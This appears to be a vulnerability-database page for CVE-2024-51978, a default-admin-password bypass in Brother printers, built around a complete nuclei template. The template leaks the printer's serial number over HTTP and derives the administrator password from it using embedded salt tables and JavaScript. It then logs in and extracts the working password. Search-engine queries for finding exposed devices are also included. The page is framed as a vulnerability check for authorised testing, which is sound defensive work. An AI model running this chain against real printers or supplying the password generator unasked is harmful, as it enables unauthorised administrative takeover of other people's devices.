HexBrain

Browse / CVEs / CVE-2024-51978

CVE-2024-51978· CWE-1391

Brother Printers – Authentication Bypass via Default Admin Password

criticalseverity
9.8CVSS score
15.8%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.

Impact

Attackers can exploit this vulnerability to compromise system security.

Fix

Apply security patches to address CVE-2024-51978.

How to confirm it

Send: GET /etc/mnt_info.csv
Positive when: contains_all(body, 'Main Firmware Version','Model Name') && status_code == 200
Send: GET /general/status.html
Send: POST /general/status.html
Positive when: status_code==200 || status_code == 301 and contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")
Send: POST /general/status.html
Positive when: status_code==200 || status_code == 301 and contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")

Run it with nuclei: nuclei -id CVE-2024-51978 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-51978

info:
  name: Brother Printers – Authentication Bypass via Default Admin Password
  author: iamnoooob,pdresearch,MathematicianGoat
  severity: critical
  description: |
    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51978.
  reference:
    - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed
    - https://github.com/sfewer-r7/BrotherVulnerabilities
    - https://support.brother.com/g/b/faqend.aspx?c=eu_ot&lang=en&prod=group2&faqid=faq00100846_000
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51978
  classification:
    epss-score: 0.15832
    epss-percentile: 0.96904
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51978
    cwe-id: CWE-1391
  metadata:
    fofa-query: app="brother-Printer"
    zoomeye-query: device="brother-Printer" || app="brother-Printer"
  tags: cve,cve2024,brother,authenticated,default-login,vkev,intrusive,vuln

# Flow: Extract serial → Generate password → Login attempt
flow: |
  http(1)
  javascript()
  http(2)
  if(template.csrf){
   http(4)
  } else {
   http(3)
  }

javascript:
  - code: |
      let SALT_LOOKUP_TABLE = [
          0x06, 0x1A, 0x80, 0x93, 0x90, 0x60, 0xA4, 0x18, 0x76, 0xA8, 0xFA, 0x98, 0x58, 0x25, 0x5F, 0xBA,
          0x24, 0xCF, 0xDD, 0xB6, 0xD0, 0xE3, 0x7A, 0x68, 0x41, 0x8B, 0x21, 0x15, 0x7E, 0x65, 0x70, 0x7F,
          0x8C, 0x91, 0x3B, 0xFC, 0x13, 0x4A, 0xBE, 0xD7, 0x6C, 0x99, 0xC3, 0xD1, 0x51, 0x35, 0xDF, 0x23,
          0xB0, 0x3F, 0x3D, 0x16, 0x29, 0xA1, 0x59, 0xCA, 0xA2, 0x5C, 0x43, 0x0B, 0xA5, 0x36, 0xF0, 0xFE,
          0x3E, 0xED, 0xF2, 0xE6, 0xEA, 0x54, 0x66, 0x7D, 0xEE, 0x3C, 0x50, 0xEF, 0x9E, 0xD3, 0xB1, 0xF7,
          0xAC, 0x5A, 0x6E, 0x12, 0x2A, 0x01, 0x46, 0x8F, 0x6B, 0x88, 0x0E, 0x52, 0xF9, 0x81, 0xA0, 0x02,
          0xC1, 0xF1, 0xE9, 0xC2, 0xF6, 0x33, 0xCB, 0xB3, 0x73, 0x17, 0xFD, 0x6F, 0xF4, 0xEC, 0x84, 0xC6,
          0x47, 0xCE, 0x9F, 0xD5, 0x92, 0x85, 0x53, 0x26, 0x27, 0x62, 0xEB, 0xAE, 0x3A, 0x1F, 0x0F, 0x94,
          0x95, 0x82, 0x8E, 0x42, 0x28, 0xB9, 0xBF, 0xAF, 0xD4, 0x48, 0xD9, 0xC5, 0x4C, 0x64, 0x2B, 0x8D,
          0xF8, 0xAA, 0xC4, 0x63, 0x87, 0xE4, 0x1D, 0xA6, 0x14, 0xCD, 0xBB, 0xC0, 0xE5, 0xDA, 0x37, 0xC9,
          0xE8, 0xB8, 0x67, 0xDC, 0x5D, 0xA7, 0xAD, 0x79, 0x44, 0xF3, 0x83, 0xA9, 0x1B, 0x96, 0x89, 0xAB,
          0x45, 0xBC, 0x1C, 0xB4, 0xE1, 0x20, 0x2F, 0x49, 0x22, 0x86, 0xDB, 0x4E, 0xE0, 0x9B, 0x10, 0x19,
          0x97, 0x61, 0x40, 0x78, 0x5E, 0x39, 0xCC, 0x0D, 0x09, 0x9D, 0x34, 0x0C, 0x2E, 0x0A, 0x77, 0x6D,
          0xDE, 0xC7, 0xD8, 0xA3, 0xE2, 0x56, 0xB5, 0x4B, 0x38, 0x74, 0x8A, 0xBD, 0x6A, 0x4F, 0x07, 0x03,
          0x05, 0xFF, 0xF5, 0x31, 0x1E, 0xE7, 0xD2, 0x2D, 0x69, 0xC8, 0x5B, 0xD6, 0x57, 0x75, 0x7C, 0xB2,
          0x72, 0xB7, 0x2C, 0xFB, 0x11, 0x9C, 0x7B, 0x32, 0x55, 0x30, 0x71, 0x04, 0x9A, 0x4D, 0x08, 0x100
        ]
      let SALT_DATA_TABLE = [
          'aiaFrJAn', 'FuUcjKwa', 'cMnDTitZ', 'RuSfzwJC', 'XXrLDVub', 'znimXRSU', 'dLdJgcZf', 'rgm32u2x',
          '7HOLDhk\'', 'ENbuNZVy', 'eCd6Ygyf', 'gmLt2GuL', '5dhjHet3', 'nPtN7h23', '47rdTTV7', 'KAkaSzWh',
          's3m7wwW2', 'wtBGnGjn', 'H3LyF$dd', 'H6EtSew2', 'D9N8iJBB', 'tPT4ZKm3', 'XEEV4tjf', 'zDXx93rw',
          'HKkmbGjD', 'ng5sLECe', 'QrPVDngu', 'LPMhpZe9', 'uLzhjUwc', 'Sa9QBKW2', 'AfrPdj7y', 'ujmt9s72',
          'n8Y7XrFx', '8xeRU7rW', 'RUzpQznp', '%hU5RMxP', 'ipaZKMEW', 'chP5cHCy', 'b5UJabgU', 'WtZsF7VF',
          'xk8wg669', 'gAVynzbw', 'GuRgNxkm', 'UBCAUb85', 'CQgQhyfp', 'fcEegCtB', '5LSpTNPN', 'dzrQdahF',
          'kD4fHLhM', 'mHQ6QAUg', 'TjZ6kiAb', '5SMdwEK6', 'RD2ytHHH', 'XgQHBfBY', '6ZZRVbHx', 'BNDUsFCC',
          'iSwrrtpr', 'ucBFJbGj', 'Nzs7rhKJ', 'uHugTJX5', 'aXN3FsUF', 'uyHDwwUK', 'tbnJTYje', 'SmgfLZ2n',
          '4sXy9D8j', 'YLVSee68', '3U5TbNNS', 'QjYfTBKu', 'T*8AF8dk', 'F8xQDTrW', 'Pyeda62U', '33sghDrE',
          'ThiW9Naz', 'BU9TDd7k',
          '72sgwM&G', 'VkV+uSUt', 'HpTdi9jL', 'G3AbGyAH', 'zbW8YCSy', 'eKB25SCe',
          'rbzpCtQN', 'EZSRB966', 'nJAxxUbS', '7GZRAG9E', 'PaMCwYGQ', 'TZy2AeYr', 'jMgYEPUT', '6QAepcUc',
          'jdWU9pXy', 'CeZs6T8g', 'jEEDBNPn', 'fCHg4V5W', 'rTUUjyPG', '3L5SNJhr', 'XbXK4Lg9', 'ZcdGAzLH',
          'ANfMJ&6p', 'S4URfyzc', 'Pai9muCn', 'Nei%6NwR', 'BnUWBHg6', 'FwGyWrux', 'mwkuuGXX', 'WR$LK5Qu',
          'Lxs4DgNM', 'KAYMHcKy', 'UnWYeeUp', '2cc3EzeX', '7nVPpdCd', 'LDPgHa9b', 'Yfwsz7zR', 'tGhb9Ych',
          'Gxi4S8jC', 'QEiWU2cm', 'PFhyTxjN', 'LrpTgGLw', 'PUfziDzE', 'ACbmRneN', 'gYmjyNjF', 'RuZctKSS',
          'k8KdHgDB', 'pJEA3hSG', 'X6rbghrk', '9mnbf3up', '4WU2hMHx', 'TgmNEn45', 'zRnQReEn', 'DfsPzxsX',
          'UyScxhhw', 'knEsS3CX', 'xuPUKwFf', 'Ks4nKt2z', 'trBf!b67', 'rhHgt4gX', '2N8sPf#d', 'eFMjhMcB',
          'aWLeRu9M', '4MiN4D63', '5nG9jMGh', 'SA5pnyQ6', 'UnSQ94nx', 'kPjzBBxy', '6CppHT3R', '3VPgRgiL',
          'cP9JJDJr', 'MyMWzUMj', 'xyG4ACEd', 'dbnAbG8e', 'RnHGYc6F', 'ktCQnJWk', 'XBt5Vxr2', 'wH6iY9f9',
          'atB4eri8', '8SdHujf8', 'inLRdn5s', 'Fh3N*pWc', 'Fb3XYtZz', 'GADACWcS', 'r8tsDgph', 'EumHNmFg',
          'rRFKrK2x', 'TQ9nUnNk', 'P5hss6GX', 'mX8ZSQtr', 'BJMjyd7H', 'EC7r5fEm', 'TPjQpDaa', 'SZeMDpfR',
          'XEDJeraW', 'YYNTgsah', '6uupfWF!', '7RcTLwHX', 'ycYr3dwT', '7VwCnTFQ', 'JGF6iigf', 'M72Kea4f',
          'ZxfZWbVb', 'NcT3LGBV', 'HBU68uaa', 'UeHK4pnf', 'sDjzNHHd', 'CGjgeutc', 'PC4JbuC2', 'tNYQc7Xs',
          'RGNsJQhD', 'HKEh2fba', '49x4PLUz', 'N6MLNkY5', 'NrMHeE9d', 'j5NkznV4', 'n8At3YKi', 'ZnHwAEnZ',
          '3LnUmF8E', 'RBXzdUpA', 'FwGHBVej', '3wkkik7E', 'fpyGnp2u', 'ANBwfiPb', 'Ztt8X9zG', '47K7QWix',
          'TzJfUdNY', 'hpD?MEAm', 'sJRh4Jni', 'TyQUgEEH', 'FBJnWWwx', '7cN3GH6e', 'hWQhzFTN', 'GamDhsgZ',
          'yXM4cZKt', '9BJPKtaC', 'NVNpe4kJ', 'uSyxGxbz', 'h5zTpV3U', 'TAajcQ4h', 'VjYMEusS', 'Wpj237VG',
          'yAjHYVVV', 'Hb6k7Cwe', 'yZbuDBEi', 'S4wpBmZM', 'DwFra8wk', 'j#Pk5r9W', 'PjkfS9WB', 'gHf3YGA3',
          'ihDtdUCu', 'KARzJDfR', 'M7fApB5U', 'MiD44gRC', 'RdEM8y5W', '4GsGuPag', 'pETQc4k2', 'pZZu7Ras',
          'AJReAUBy', 'EAMmQsWe', 'BeC2XJi8', 'PujT2eRf', '2UXLeAJu', 'hMPbY3MQ', 'QeawRP*p', 'SbCbW9Tf',
          'EhNNtLyj', 'B8RjceGs', 'LaydmLeD', 'JFR7T47f', 'WCbAdTfm', 'srN9gNSE', 'gAn7h8Yp', '4PnTKVse',
          'HDxGwLsN', 'tR8XUSRg', 'wLe-3Xf8', 'zH7cpxsd', 'tCc5sWFX', '3hzTj5BS',
          'hLK6f&g4', 'tCzzSsm7'
        ]
          function strToCharCodes(str) {
              const arr = [];
              for (let i = 0; i < str.length; ++i) arr.push(str.charCodeAt(i));
              return arr;
          }

          function generateDefaultPassword(serial, saltLookupIndex = 254, saltData = null) {
              if (!(0 <= saltLookupIndex && saltLookupIndex < SALT_LOOKUP_TABLE.length)) {
                  throw new Error('SaltLookupIndex must be between 0 and 255');
              }

              if (saltData === null && saltLookupIndex !== 0) {
                  const saltTableIndex = SALT_LOOKUP_TABLE[saltLookupIndex];
                  if (saltTableIndex >= SALT_DATA_TABLE.length) {
                      throw new Error('Unknown salt table data at salt table index');
                  }
                  saltData = strToCharCodes(SALT_DATA_TABLE[saltTableIndex]);
              }

              if (!saltData || saltData.length !== 8) {
                  throw new Error('SaltData must be 8 bytes');
              }

              // Use nuclei's Buffer implementation
              const bytes = require('nuclei/bytes');
              const buffer = new bytes.Buffer();

              // Write the first 16 chars of serial as string
              buffer.WriteString(serial.slice(0, 16));

              // Prepare salt bytes in reverse order, minus 1
              const saltBytes = [
                  saltData[7] - 1, saltData[6] - 1, saltData[5] - 1, saltData[4] - 1,
                  saltData[3] - 1, saltData[2] - 1, saltData[1] - 1, saltData[0] - 1
              ];
              buffer.Write(saltBytes);

              // Get the buffer as a byte array
              result=buffer.Hex()
              return result;
          }
          generateDefaultPassword(serial)
    args:
      serial: "{{trim_space(replace(replace(replace_regex(srno,'(BR[A-Z0-9]+)',''),']',''),'[',''))}}"


http:
  - raw:
      - |
        GET /etc/mnt_info.csv HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'Main Firmware Version','Model Name') && status_code == 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: srno
        group: 1
        regex:
          - '"(\w{15})"'
        internal: true

  - raw:
      - |
        GET /general/status.html HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: logbox
        group: 1
        regex:
          - 'id="LogBox" name="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: csrf
        group: 1
        internal: true
        regex:
          - 'id="CSRFToken" name="CSRFToken" value="(.*?)"'

  - raw:
      - |
        POST /general/status.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken=

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code == 301'
          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
        condition: and

    extractors:
      - type: dsl
        name: login_password
        dsl:
          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')


  - raw:
      - |
        POST /general/status.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken={{urlencode(csrf)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code == 301'
          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
        condition: and

    extractors:
      - type: dsl
        name: login_password
        dsl:
          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')

References

Use this check only on systems you are authorised to test. Where the data comes from